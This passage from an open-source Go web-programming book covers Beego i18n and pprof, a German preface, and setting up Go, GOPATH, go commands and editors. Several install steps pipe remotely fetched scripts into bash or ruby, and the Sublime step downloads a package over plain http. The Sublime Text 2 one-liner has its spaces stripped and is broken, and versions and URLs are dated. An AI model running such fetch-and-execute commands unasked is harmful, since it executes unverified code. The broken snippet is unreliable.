Once you have implemented user login and registration, other modules can be added to determine whether the user has been logged in or not:

func (this *AddBlogController) Prepare() {
    sess := globalSessions.SessionStart(this.Ctx.ResponseWriter, this.Ctx.Request)
    sess_uid := sess.Get("userid")
    sess_username := sess.Get("username")
    if sess_uid == nil {
        this.Ctx.Redirect(302, "/admin/login")
        return
    }
    this.Data["Username"] = sess_username
}





91.4 Links


	Directory

	Previous section: Form

	Next section: Multi-language support







92 14.5 Multi-language support

In the chapter where we introduced internationalization and localization, we developed the go-i18n library. In this section, we will see how this library is integrated into the Beego framework, and how it enables our Beego applications to support both internationalization and localization.





92.1 I18n integration

Beego first sets some global variables:

Translation i18n.IL
Lang string // set the language pack, zh, en
LangPath string // set the language pack location

A multi-language initialization function is defined:

func InitLang(){
    beego.Translation:=i18n.NewLocale()
    beego.Translation.LoadPath(beego.LangPath)
    beego.Translation.SetLocale(beego.Lang)
}

In order to facilitate multi-language calls in the template package directly, we designed three functions for handling multi-language responses:

beegoTplFuncMap["Trans"] = i18n.I18nT
beegoTplFuncMap["TransDate"] = i18n.I18nTimeDate
beegoTplFuncMap["TransMoney"] = i18n.I18nMoney

func I18nT(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Translate(s)
}

func I18nTimeDate(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Time(s)
}   

func I18nMoney(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    return beego.Translation.Money(s)
}





92.2 Multi-language development


	Setting the language and location of the language pack, then initialize i18n objects:

beego.Lang = "zh"
beego.LangPath = "views/lang"
beego.InitLang()


	Designing a multi-language package




Above, we talked about how to initialize a multi-language package. Now, let’s look at how to design one. Multi-language packages are typically JSON files, as you’ve already seen in Chapter 10. We must provide translation files for languages we wish to support on our LangPath, such as the following:

    # zh.json

    {
    "zh": {
        "submit": "提交",
        "create": "创建"
        }
    }
    
    # en.json
    
    {
    "en": {
        "submit": "Submit",
        "create": "Create"
        }
    }


	Using language packages

We can call the controller to get the translated response in the desired language, like so::

func (this *MainController) Get() {
    this.Data["create"] = beego.Translation.Translate("create")
    this.TplNames = "index.tpl"
}

We can also directly interpolate translated responses in our templates:

// Direct Text translation
{{.create | Trans}}

// Time to translate
{{.time | TransDate}}

// Currency translation
{{.money | TransMoney}}








92.3 Links


	Directory

	Previous section: User validation

	Next section: pprof







93 14.6 pprof

A great feature of Go’s standard library is its code performance monitoring tools. These packages exist in two places:

net/http/pprof

runtime/pprof

In fact, net/http/pprof simply exposes runtime profiling data from the runtime/pprof package on an HTTP port.





93.1 pprof support in Beego

The Beego framework currently supports pprof, however it is not not turned on by default. If you need to test the performance of your application, (for instance by viewing the execution goroutine such information, in fact, Go’s default package “net/http/pprof” already has this feature, and if Go manner in accordance with the default Web, you can use the default, but because beego repackaged ServHTTP function, so if you can not open the default includes this feature, so the need for internal reform beego support pprof.


	First in our beego.Run function, we choose whether or not to automatically load the performance pack according to our configuration variable (in this case, PprofOn):

if PprofOn {
    BeeApp.RegisterController(`/debug/pprof`, &ProfController{})
    BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`, &ProfController{})
}


	Designing ProfController

package beego

import (
    "net/http/pprof"
)

type ProfController struct {
    Controller
}

func (this *ProfController) Get() {
    switch this.Ctx.Params[":pp"] {
    default:
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "":
        pprof.Index(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "cmdline":
        pprof.Cmdline(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "profile":
        pprof.Profile(this.Ctx.ResponseWriter, this.Ctx.Request)
    case "symbol":
        pprof.Symbol(this.Ctx.ResponseWriter, this.Ctx.Request)
    }
    this.Ctx.ResponseWriter.WriteHeader(200)
}








93.2 Getting started

From the above, we can see that enabling pprof is as simple as setting the PprofOn configuration variable to true:

beego.PprofOn = true

You can then open the following URL in your browser to see the following interface:

[image: ]

Figure 14.7 current system goroutine, heap, thread information

By clicking on a goroutine, we can see a lot of detailed information:

[image: ]

Figure 14.8 shows the current goroutine details

Of course, we can also get more details from the command line:

go tool pprof http://localhost:8080/debug/pprof/profile

This time, the program will begin profiling the application for a period of 30 seconds, during which time it will repeatedly refresh the page in the browser in an attempt to gather CPU usage and performance data.

(pprof) top10

Total: 3 samples

   1 33.3% 33.3% 1 33.3% MHeap_AllocLocked

   1 33.3% 66.7% 1 33.3% os/exec.(*Cmd).closeDescriptors

   1 33.3% 100.0% 1 33.3% runtime.sigprocmask

   0 0.0% 100.0% 1 33.3% MCentral_Grow

   0 0.0% 100.0% 2 66.7% main.Compile

   0 0.0% 100.0% 2 66.7% main.compile

   0 0.0% 100.0% 2 66.7% main.run

   0 0.0% 100.0% 1 33.3% makeslice1

   0 0.0% 100.0% 2 66.7% net/http.(*ServeMux).ServeHTTP

   0 0.0% 100.0% 2 66.7% net/http.(*conn).serve 

(pprof)web

[image: ]

Figure 14.9 shows the execution flow of information





93.3 Links


	Directory

	Previous section: Multi-language support

	Next section: Summary







94 14.7 Summary

This chapter illustrates some ways in which the Beego framework can be extended. We first looked at static file support, learning how Beego handles serving static files internally. We saw how this functionality allowed us to easily integrate static assets (such as Bootstrap’s CSS files) for rapid and great looking website development. Next, we saw how to integrate sessionManager to painlessly facilitate user sessions in Beego. We then described form management and validation, leveraging Go’s structs to reduce code repetition and for simplifying field validation. After that, we discussed user authentication which involved three main strategies: HTTP authentication (basic and digest), third party authentication, and custom authentication. We learned about some existing third party authentication packages that have already implemented these strategies, which are conveniently accommodated by Beego. The next section re-introduced language support in Beego; we saw how to integrate the go-i18n package and learned how to easily load multiple language packs into our applications as needed. Lastly, we discussed how to work with Go’s pprof packages in Beego. The pprof package is used for performance profiling in Go, and Beego repackages it so it can serve the same purpose in Beego applications without much additional work. Through these six sections, we’ve extended Beego with many features, making it into a versatile framework suitable for the requirements of many web applications. Users have the freedom of extending the framework to suit their individual needs; this brief introduction to Beego simply offers a small taste of what can be done!





94.1 Links


	Directory

	Previous section: pprof

	Next chapter: Appendix A References







95 Erstelle Webanwendungen mit Go





95.0.1 Absicht

Weil ich an der Entwicklung von Webanwendungen interessiert bin, nutzte ich meine Freizeit, um dieses Buch zu verfassen und veröffentlichte es als open-source Version. Dies bedeutet aber nicht, dass ich besonders gut Webanwendungen programmieren kann; vielmehr wollte ich somit meine Erfahrungen teilen, die ich während der Entwicklung mit Go gesammelt habe.


	Für alle, die mit PHP/Python/Ruby vertraut sind, denen werde ich zeigen, wie man Webanwendungen mit Go erstellt.

	Alle, die mit C/C++ arbeiten, werden bereits wissen, wie das Internet funktioniert.



Meiner Überzeugung nach ist der Zweck des Lernens das Teilen mit Anderen. Die glücklichste Sache in meinem Leben ist es, mein gesamtes Wissen mit mehr Menschen zu teilen.





96 Spenden

AliPay: <img src=“../zh/images/alipay.png” alt=“alipay” width=“100” height=“100”>

International: spenden
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QQ群：386056972

BBS：http://golanghome.com/
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97 1 Go Environment Configuration

Welcome to the world of Go, let’s start exploring!

Go is a fast-compiled, garbage-collected, concurrent systems programming language. It has the following advantages:


	Compiles a large project within a few seconds.

	Provides a software development model that is easy to reason about, avoiding most of the problems associated with C-style header files.

	Is a static language that does not have levels in its type system, so users do not need to spend much time dealing with relations between types. It is more like a lightweight object-oriented language.

	Performs garbage collection. It provides basic support for concurrency and communication.

	Designed for multi-core computers.



Go is a compiled language. It combines the development efficiency of interpreted or dynamic languages with the security of static languages. It is going to be the language of choice for modern, multi-core computers with networking. For these purposes, there are some problems that need to inherently be resolved at the level of the language of choice, such as a richly expressive lightweight type system, a native concurrency model, and strictly regulated garbage collection. For quite some time, no packages or tools have emerged that have aimed to solve all of these problems in a pragmatic fashion; thus was born the motivation for the Go language.

In this chapter, I will show you how to install and configure your own Go development environment.





97.1 Links


	Directory

	Next section: Installation







98 1.1 Installation





98.1 Three ways to install Go

There are many ways to configure the Go development environment on your computer, and you can choose whichever one you like. The three most common ways are as follows.


	Official installation packages.

	The Go team provides convenient installation packages in Windows, Linux, Mac and other operating systems. This is probably the easiest way to get started. You can get the installers from the Golang Download Page.




	Install it yourself from source code.

	Popular with developers who are familiar with Unix-like systems.




	Using third-party tools.

	There are many third-party tools and package managers for installing Go, like apt-get in Ubuntu and homebrew for Mac.






In case you want to install more than one version of Go on a computer, you should take a look at a tool called GVM. It is the best tool I’ve seen so far for accomplishing this task, otherwise you’d have to deal with it yourself.





98.2 Install from source code

To compile Go 1.5 and upwards, you only need the previous version of Go, as Go has achieved bootstrapping. You only need Go to compile Go.

To compile Go 1.4 downwards, you will need a C compiler as some parts of Go are still written in Plan 9 C and AT&T assembler.

On a Mac, if you have installed Xcode, you already have the compiler.

On Unix-like systems, you need to install gcc or a similar compiler. For example, using the package manager apt-get (included with Ubuntu), one can install the required compilers as follows:

sudo apt-get install gcc libc6-dev

On Windows, you need to install MinGW in order to install gcc. Don’t forget to configure your environment variables after the installation has completed.( Everything that looks like this means it’s commented by a translator: If you are using 64-bit Windows, you should install the 64-bit version of MinGW )

At this point, execute the following commands to clone the Go source code and compile it.( It will clone the source code to your current directory. Switch your work path before you continue. This may take some time. )

git clone https://go.googlesource.com/go
cd go/src
./all.bash 

A successful installation will end with the message “ALL TESTS PASSED.”

On Windows, you can achieve the same by running all.bat.

If you are using Windows, the installation package will set your environment variables automatically. In Unix-like systems, you need to set these variables manually as follows. ( If your Go version is greater than 1.0, you don’t have to set $GOBIN, and it will automatically be related to your $GOROOT/bin, which we will talk about in the next section)

export GOROOT=$HOME/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOROOT/bin

If you see the following information on your screen, you’re all set.

[image: ]

Figure 1.1 Information after installing from source code

Once you see the usage information of Go, it means you have successfully installed Go on your computer. If it says “no such command”, check that your $PATH environment variable contains the installation path of Go.





98.3 Using the standard installation packages

Go has one-click installation packages for every supported operating system. These packages will install Go in /usr/local/go (c:\Go in Windows) by default. Of course this can be modified, but you also need to change all the environment variables manually as I’ve shown above.





98.3.1 How to check if your operating system is 32-bit or 64-bit?

Our next step depends on your operating system type, so we have to check it before we download the standard installation packages.

If you are using Windows, press Win+R and then run the command tool. Type the systeminfo command and it will show you some useful system information. Find the line that says “system type” -if you see “x64-based PC” that means your operating system is 64-bit, 32-bit otherwise.

I strongly recommend downloading the 64-bit package if you are a Mac user, as Go no longer supports pure 32-bit processors on Mac OSX.

Linux users can type uname -a in the terminal to see system information.

A 64-bit operating system will show the following:

<some description> x86_64 x86_64 x86_64 GNU/Linux
// some machines such as Ubuntu 10.04 will show as following
x86_64 GNU/Linux

32-bit operating systems instead show:

<some description> i686 i686 i386 GNU/Linux





98.3.2 Mac

Go to the download page, choose go1.4.2.darwin-386.pkg (The later version has no 32-bit download.)for 32-bit systems and go1.8.3.darwin-amd64.pkg for 64-bit systems. Going all the way to the end by clicking “next”, ~/go/bin will be added to your system’s $PATH after you finish the installation. Now open the terminal and type go. You should see the same output shown in figure 1.1.





98.3.3 Linux

Go to the download page, choose go1.8.3.linux-386.tar.gz for 32-bit systems and go1.8.3.linux-amd64.tar.gz for 64-bit systems. Suppose you want to install Go in the $GO_INSTALL_DIR path. Uncompress the tar.gz to your chosen path using the command tar zxvf go1.8.3.linux-amd64.tar.gz -C $GO_INSTALL_DIR. Then set your $PATH with the following: export PATH=$PATH:$GO_INSTALL_DIR/go/bin. Now just open the terminal and type go. You should now see the same output displayed in figure 1.1.





98.3.4 Windows

Go to the download page, choose go1.8.3.windows-386.msi for 32-bit systems and go1.8.3.windows-amd64.msi for 64-bit systems. Going all the way to the end by clicking “next”, c:/go/bin will be added to path. Now just open a command line window and type go. You should now see the same output displayed in figure 1.1.





98.4 Use third-party tools





98.4.1 GVM

GVM is a Go multi-version control tool developed by a third-party, like rvm for ruby. It’s quite easy to use. Install gvm by typing the following commands in your terminal:

bash < <(curl -s -S -L https://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

Then we install Go using the following commands:

gvm install go1.8.3
gvm use go1.8.3

After the process has finished, you’re all set.





98.4.2 apt-get

Ubuntu is the most popular desktop release version of Linux. It uses apt-get to manage packages. We can install Go using the following commands.

sudo add-apt-repository ppa:gophers/go
sudo apt-get update
sudo apt-get install golang-go





98.4.3 wget


wget https://storage.googleapis.com/golang/go1.8.3.linux-amd64.tar.gz
sudo tar -xzf go1.8.3.linux-amd64.tar.gz -C /usr/local 

# Go environment
export GOROOT=/usr/local/go
export GOBIN=$GOROOT/bin
export PATH=$PATH:$GOBIN
export GOPATH=$HOME/gopath 

Starting from go 1.8, The GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows.





98.4.4 Homebrew

Homebrew is a software management tool commonly used in Mac to manage packages. Just type the following commands to install Go.


	Install Homebrew



     /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"


	Install Go



    brew update && brew upgrade
    brew install go





98.5 Links


	Directory

	Previous section: Go environment configuration

	Next section: $GOPATH and workspace







99 1.2 $GOPATH and workspace





99.1 $GOPATH

Go takes a unique approach to manage the code files with the introduction of a $GOPATH directory which contains all the go code in the machine. Note that this is different from the $GOROOT environment variable which states where go is installed on the machine. We have to define the $GOPATH variable before using the language, in *nix systems there is a file called .profile we need to append the below export statement to the file. The concept behind gopath is a novel one, where we can link to any go code at any instant of time without ambiguity.

Starting from go 1.8, the GOPATH environment variable now has a default value if it is unset. It defaults to $HOME/go on Unix and %USERPROFILE%/go on Windows.

In Unix-like systems, the variable should be used like this:

export GOPATH=${HOME}/mygo

In Windows, you need to create a new environment variable called GOPATH, then set its value to c:\mygo( This value depends on where your workspace is located )

It’s OK to have more than one path (workspace) in $GOPATH, but remember that you have to use :(; in Windows) to break them up. At this point, go get will save the content to your first path in $GOPATH. It is highly recommended to not have multiples versions, the worst case is to create a folder by the name of your project right inside $GOPATH, it breaks everything that the creators were wishing to change in programming with the creation of go language because when you create a folder inside $GOPATH you will reference your packages as directly as <packagename>, and this breaks all the applications which will import your package because the go get won’t find your package. Please follow conventions, there is a reason conventions are created.

In $GOPATH, you must have three folders as follows:


	src for source files whose suffix is .go, .c, .g, .s.

	pkg for compiled files whose suffix is .a.

	bin for executable files



In this book, I use mygo as my only path in $GOPATH.





99.2 Package directory

Create package source files and folders like $GOPATH/src/mymath/sqrt.go (mymath is the package name) ( Author uses mymath as his package name, and the same name for the folder that contains the package source files)

Every time you create a package, you should create a new folder in the src directory, with the notable exception of main, for which main folder creation is optional. Folder names are usually the same as the package that you are going to use. You can have multi-level directories if you want to. For example, if you create the directory $GOPATH/src/github.com/astaxie/beedb, then the package path would be github.com/astaxie/beedb. The package name will be the last directory in your path, which is beedb in this case.

Execute following commands. ( Now author goes back to talk examples )

cd $GOPATH/src
mkdir mymath

Create a new file called sqrt.go, type the following content to your file.

// Source code of $GOPATH/src/mymath/sqrt.go
package mymath

func Sqrt(x float64) float64 {
    z := 0.0
    for i := 0; i < 1000; i++ {
        z -= (z*z - x) / (2 * x)
    }
    return z
}


Now my package directory has been created and it’s code has been written. I recommend that you use the same name for your packages as their corresponding directories, and that the directories contain all of the package source files.





99.3 Compile packages

We’ve already created our package above, but how do we compile it for practical purposes? There are two ways to do this.


	Switch your work path to the directory of your package, then execute the go install command.

	Execute the above command except with a file name, like go install mymath.



After compiling, we can open the following folder.

cd $GOPATH/pkg/${GOOS}_${GOARCH}
// you can see the file was generated
mymath.a

The file whose suffix is .a is the binary file of our package. How do we use it?

Obviously, we need to create a new application to use it.

Create a new application package called mathapp.

cd $GOPATH/src
mkdir mathapp
cd mathapp
vim main.go

Write the following content to main.go.


//$GOPATH/src/mathapp/main.go source code.
package main

import (
    "mymath"
    "fmt"
)

func main() {
    fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2))
}


To compile this application, you need to switch to the application directory, which in this case is $GOPATH/src/mathapp, then execute the go install command. Now you should see an executable file called mathapp was generated in the directory $GOPATH/bin/. To run this program, use the ./mathapp command. You should see the following content in your terminal.

Hello world. Sqrt(2) = 1.414213562373095





99.4 Install remote packages

Go has a tool for installing remote packages, which is a command called go get. It supports most open source communities, including Github, Google Code, BitBucket, and Launchpad.

go get github.com/astaxie/beedb

You can use go get -u … to update your remote packages and it will automatically install all the dependent packages as well.

This tool will use different version control tools for different open source platforms. For example, git for Github and hg for Google Code. Therefore, you have to install these version control tools before you use go get.

After executing the above commands, the directory structure should look like following.

$GOPATH
    src
     |-github.com
         |-astaxie
             |-beedb
    pkg
     |--${GOOS}_${GOARCH}
         |-github.com
             |-astaxie
                 |-beedb.a
                 

Actually, go get clones source code to the $GOPATH/src of the local file system, then executes go install.

You can use remote packages in the same way that we use local packages.

import "github.com/astaxie/beedb"






99.5 Directory complete structure

If you’ve followed all of the above steps, your directory structure should now look like the following.

bin/
    mathapp
pkg/
    ${GOOS}_${GOARCH}, such as darwin_amd64, linux_amd64
  mymath.a
  github.com/
    astaxie/
      beedb.a
src/
    mathapp
        main.go
    mymath/
        sqrt.go
    github.com/
        astaxie/
            beedb/
                beedb.go
                util.go
                

Now you are able to see the directory structure clearly; bin contains executable files, pkg contains compiled files and src contains package source files.

(The format of environment variables in Windows is %GOPATH%, however this book mainly follows the Unix-style, so Windows users need to replace these yourself.)





99.6 Links


	Directory

	Previous section: Installation

	Next section: Go commands







100 1.3 Go commands





100.1 Go commands

The Go language comes with a complete set of command operation tools. You can execute the go command on the terminal to see them:
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Figure 1.3 Go command displays detailed information

These are all useful for us. Let’s see how to use some of them.





100.2 go build

This command is for compiling tests. It will compile packages and dependencies if it’s necessary.


	If the package is not the main package such as mymath in section 1.2, nothing will be generated after you execute go build. If you need the package file .a in $GOPATH/pkg, use go install instead.

	If the package is the main package, it will generate an executable file in the same folder. If you want the file to be generated in $GOPATH/bin, use go install or go build -o ${PATH_HERE}/a.exe.

	If there are many files in the folder, but you just want to compile one of them, you should append the file name after go build. For example, go build a.go. go build will compile all the files in the folder.

	You can also assign the name of the file that will be generated. For instance, in the mathapp project (in section 1.2), using go build -o astaxie.exe will generate astaxie.exe instead of mathapp.exe. The default name is your folder name (non-main package) or the first source file name (main package).



(According to The Go Programming Language Specification, package names should be the name after the word package in the first line of your source files. It doesn’t have to be the same as the folder name, and the executable file name will be your folder name by default.)


	go build ignores files whose names start with _ or ..

	If you want to have different source files for every operating system, you can name files with the system name as a suffix. Suppose there are some source files for loading arrays. They could be named as follows:

array_linux.go | array_darwin.go | array_windows.go | array_freebsd.go




go build chooses the one that’s associated with your operating system. For example, it only compiles array_linux.go in Linux systems, and ignores all the others.





100.3 go clean

This command is for cleaning files that are generated by compilers, including the following files:

_obj/            // old directory of object, left by Makefiles
_test/           // old directory of test, left by Makefiles
_testmain.go     // old directory of gotest, left by Makefiles
test.out         // old directory of test, left by Makefiles
build.out        // old directory of test, left by Makefiles
*.[568ao]        // object files, left by Makefiles

DIR(.exe)        // generated by go build
DIR.test(.exe)   // generated by go test -c
MAINFILE(.exe)   // generated by go build MAINFILE.go

I usually use this command to clean up my files before I upload my project to Github. These are useful for local tests, but useless for version control.





100.4 go fmt and gofmt

The people who are working with C/C++ should know that people are always arguing about which code style is better: K&R-style or ANSI-style. However in Go, there is only one code style which is enforced. For example, left braces must only be inserted at the end of lines, and they cannot be on their own lines, otherwise you will get compile errors! Fortunately, you don’t have to remember these rules. go fmt does this job for you. Just execute the command go fmt <File name>.go in terminal. I don’t use this command very much because IDEs usually execute this command automatically when you save source files. I will talk more about IDEs in the next section.

go fmt is just an alias, which runs the command ‘gofmt -l -w’ on the packages named by the import paths.

We usually use gofmt -w instead of go fmt. The latter will not rewrite your source files after formatting code. gofmt -w src formats the whole project.





100.5 go get

This command is for getting remote packages. So far, it supports BitBucket, Github, Google Code and Launchpad. There are actually two things that happen after we execute this command. The first thing is that Go downloads the source code, then executes go install. Before you use this command, make sure you have installed all of the related tools.

BitBucket (Mercurial Git)
Github (git)
Google Code (Git, Mercurial, Subversion)
Launchpad (Bazaar)

In order to use this command, you have to install these tools correctly. Don’t forget to update the $PATH variable. By the way, it also supports customized domain names. Use go help importpath for more details about this.





100.6 go install

This command compiles all packages and generates files, then moves them to $GOPATH/pkg or $GOPATH/bin.





100.7 go test

This command loads all files whose name include *_test.go and generates test files, then prints information that looks like the following.

ok   archive/tar   0.011s
FAIL archive/zip   0.022s
ok   compress/gzip 0.033s
...

It tests all your test files by default. Use command go help testflag for more details.





100.8 godoc

Many people say that we don’t need any third-party documentation for programming in Go (actually I’ve made a CHM already). Go has a powerful tool to manage documentation natively.

So how do we look up package information in documentation? For instance, if you want to get more details about the builtin package, use the godoc builtin command. Similarly, use the godoc net/http command to look up the http package documentation. If you want to see more details about specific functions, use the godoc fmt Printf and godoc -src fmt Printf commands to view the source code.

Execute the godoc -http=:8080 command, then open 127.0.0.1:8080 in your browser. You should see a localized golang.org. It can not only show the standard packages’ information, but also packages in your $GOPATH/pkg. It’s great for people who are suffering from the Great Firewall of China.





100.9 Other commands

Go provides more commands than those we’ve just talked about.

go fix // upgrade code from an old version before go1 to a new version after go1
go version // get information about your version of Go
go env // view environment variables about Go
go list // list all installed packages
go run // compile temporary files and run the application

There are also more details about the commands that I’ve talked about. You can use go help <command> to look them up.





100.10 Links


	Directory

	Previous section: $GOPATH and workspace

	Next section: Go development tools







101 Go development tools

In this section, I’m going to show you a few IDEs that can help you become a more efficient programmer, with capabilities such as intelligent code completion and auto-formatting. They are all cross-platform, so the steps I will be showing you should not be very different, even if you are not using the same operating system.





101.1 LiteIDE

LiteIDE is an open source, lightweight IDE for developing Go projects only, developed by visualfc.
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Figure 1.4 Main panel of LiteIDE

LiteIDE features.


	Cross-platform

	Windows

	Linux

	Mac OS




	Cross-compile

	Manage multiple compile environments

	Supports cross-compilation of Go




	Project management standard

	Documentation view based on $GOPATH

	Compilation system based on $GOPATH

	API documentation index based on $GOPATH




	Go source code editor

	Code outlining

	Full support of gocode

	Go documentation view and API index

	View code expression using F1

	Function declaration jump using F2

	Gdb support

	Auto-format with gofmt




	Others

	Multi-language

	Plugin system

	Text editor themes

	Syntax support based on Kate

	intelligent completion based on full-text

	Customized shortcuts

	Markdown support

	Real-time preview

	Customized CSS

	Export HTML and PDF

	Convert and merge to HTML and PDF













101.1.1 LiteIDE installation


	Install LiteIDE

	Download page

	Source code



You need to install Go first, then download the version appropriate for your operating system. Decompress the package to directly use it.

	Install gocode

You have to install gocode in order to use intelligent completion

go get -u github.com/nsf/gocode


	Compilation environment

Switch configuration in LiteIDE to suit your operating system.

In Windows and using the 64-bit version of Go, you should choose win64 as the configuration environment in the tool bar. Then, choose Options, find LiteEnv in the left list and open file win64.env in the right list.

GOROOT=c:\go
GOBIN=
GOARCH=amd64
GOOS=windows
CGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%
。。。

Replace GOROOT=c:\go to your Go installation path, save it. If you have MinGW64, add c:\MinGW64\bin to your path environment variable for cgo support.

In Linux and using the 64-bit version of Go, you should choose linux64 as the configuration environment in the tool bar. Then, choose Options, find LiteEnv in the left list and open the linux64.env file in the right list.

GOROOT=$HOME/go
GOBIN=
GOARCH=amd64
GOOS=linux
CGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH   
。。。

Replace GOROOT=$HOME/go to your Go installation path, save it.

	$GOPATH

$GOPATH is the path that contains a list of projects. Open the command tool (or press Ctrl+`in LiteIDE), then type go help gopath for more details.

It’s very easy to view and change $GOPATH in LiteIDE. Follow View - Setup GOPATH to view and change these values.








101.2 Sublime Text

Here I’m going to introduce you the Sublime Text 3 (Sublime for short) + GoSublime + gocode. Let me explain why.


	Intelligent completion
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Figure 1.5 Sublime intelligent completion

	Auto-format source files

	Project management
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Figure 1.6 Sublime project management


	Syntax highlight

	Free trial forever with no functional limitations. You may be prompted once in a while to remind you to purchase a license, but you can simply ignore it if you wish. Of course, if you do find that it enhances your productivity and you really enjoy using it, please purchase a copy of it and support its continued development!




First, download the version of Sublime suitable for your operating system.


	Press Ctrl+`, open the command tool and input the following commands.



Applicable to Sublime Text 3：

import  urllib.request,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();urllib.request.install_opener(urllib.request.build_opener(urllib.request.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib.request.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())


Applicable to Sublime Text 2：

import  urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnotos.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read());print('Please restart Sublime Text to finish installation')


Restart Sublime Text when the installation has finished. You should then find a `Package Control` option in the "Preferences" menu.

![](images/1.4.sublime3.png?raw=true)

Figure 1.7 Sublime Package Control


	To install GoSublime, SidebarEnhancements and Go Build, press Ctrl+Shift+p to open Package Control, then type pcip (short for “Package Control: Install Package”).
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Figure 1.8 Sublime Install Packages

Now type in “GoSublime”, press OK to install the package, and repeat the same steps for installing SidebarEnhancements and Go Build. Once again, restart the editor when it completes the installation.

	To verify that the installation is successful, open Sublime, then open the main.go file to see if it has the proper syntax highlighting. Type import to see if code completion prompts appear. After typing import "fmt", type fmt. anywhere after the import declaration to see whether or not intelligent code completion for functions was successfully enabled.

If everything is fine, you’re all set.

If not, check your $PATH again. Open a terminal, type gocode. If it does not run, your $PATH was not configured correctly.








101.3 Vim

Vim is a popular text editor for programmers, which evolved from its slimmer predecessor, Vi. It has functions for intelligent completion, compilation and jumping to errors.

vim-go is vim above an open-source go language using the most extensive development environment plug-ins

The plugin address：github.com/fatih/vim-go

Vim plugin management are the mainstream Pathogen and Vundle

，But the aspects thereof are different.

Pathogen is to solve each plug-in after the installation of files scattered to multiple directories and poor management of the existence. Vundle is to solve the automatic search and download plug-ins exist.

These two plug-ins can be used simultaneously.

1.Install Vundle

mkdir ~/.vim/bundle
git clone https://github.com/gmarik/Vundle.vim.git ~/.vim/bundle/Vundle.vim

Edit .vimrc，Vundle the relevant configuration will be placed in the beginning(Refer to the Vundle documentation for details)

set nocompatible              " be iMproved, required
filetype off                  " required

" set the runtime path to include Vundle and initialize
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()

" let Vundle manage Vundle, required
Plugin 'gmarik/Vundle.vim'

" All of your Plugins must be added before the following line
call vundle#end()            " required
filetype plugin indent on    " required


2.Install Vim-go

Edit ~/.vimrc，Add a line between vundle #begin and vundle #end：


Plugin 'fatih/vim-go'

Executed within Vim: PluginInstall

3.Install YCM(Your Complete Me) to AutoComplete

Add a line to ~ / .vimrc:


Plugin 'Valloric/YouCompleteMe'

Executed within Vim: PluginInstall
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Figure 1.8 Vim intelligent completion for Go


	Syntax highlighting for Go

cp -r $GOROOT/misc/vim/* ~/.vim/


	Enabling syntax highlighting

filetype plugin indent on
syntax on


	Install gocode

go get -u github.com/nsf/gocode

gocode will be installed in $GOBIN as default


	Configure gocode

~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.sh
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"

Explanation of gocode configuration:

propose-builtins: specifies whether or not to open intelligent completion; false by default.

lib-path: gocode only searches for packages in $GOPATH/pkg/$GOOS_$GOARCH and $GOROOT/pkg/$GOOS_$GOARCH. This setting can be used to add additional paths.


	Congratulations! Try :e main.go to experience the world of Go!








101.4 Emacs

Emacs is the so-called Weapon of God. She is not only an editor, but also a powerful IDE.
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Figure 1.10 Emacs main panel of Go editor


	Syntax highlighting

cp $GOROOT/misc/emacs/* ~/.emacs.d/


	Install gocode

go get -u github.com/nsf/gocode

gocode will be installed in $GOBIN as default

	Configure gocode

~ cd $GOPATH/src/github.com/nsf/gocode/vim
~ ./update.bash
~ gocode set propose-builtins true
propose-builtins true
~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64"
lib-path "/home/border/gocode/pkg/linux_amd64"
~ gocode set
propose-builtins true
lib-path "/home/border/gocode/pkg/linux_amd64"


	Install Auto Completion

Download and uncompress

~ make install DIR=$HOME/.emacs.d/auto-complete

Configure ~/.emacs file

;;auto-complete
(require 'auto-complete-config)
(add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict")
(ac-config-default)
(local-set-key (kbd "M-/") 'semantic-complete-analyze-inline)
(local-set-key "." 'semantic-complete-self-insert)
(local-set-key ">" 'semantic-complete-self-insert)  

Follow this link for more details.

	Configure .emacs

;; golang mode
(require 'go-mode-load)
(require 'go-autocomplete)
;; speedbar
;; (speedbar 1)
(speedbar-add-supported-extension ".go")
(add-hook
'go-mode-hook
'(lambda ()
    ;; gocode
    (auto-complete-mode 1)
    (setq ac-sources '(ac-source-go))
    ;; Imenu & Speedbar
    (setq imenu-generic-expression
        '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1)
        ("func" "^func *\\(.*\\) {" 1)))
    (imenu-add-to-menubar "Index")
    ;; Outline mode
    (make-local-variable 'outline-regexp)
    (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")
    (outline-minor-mode 1)
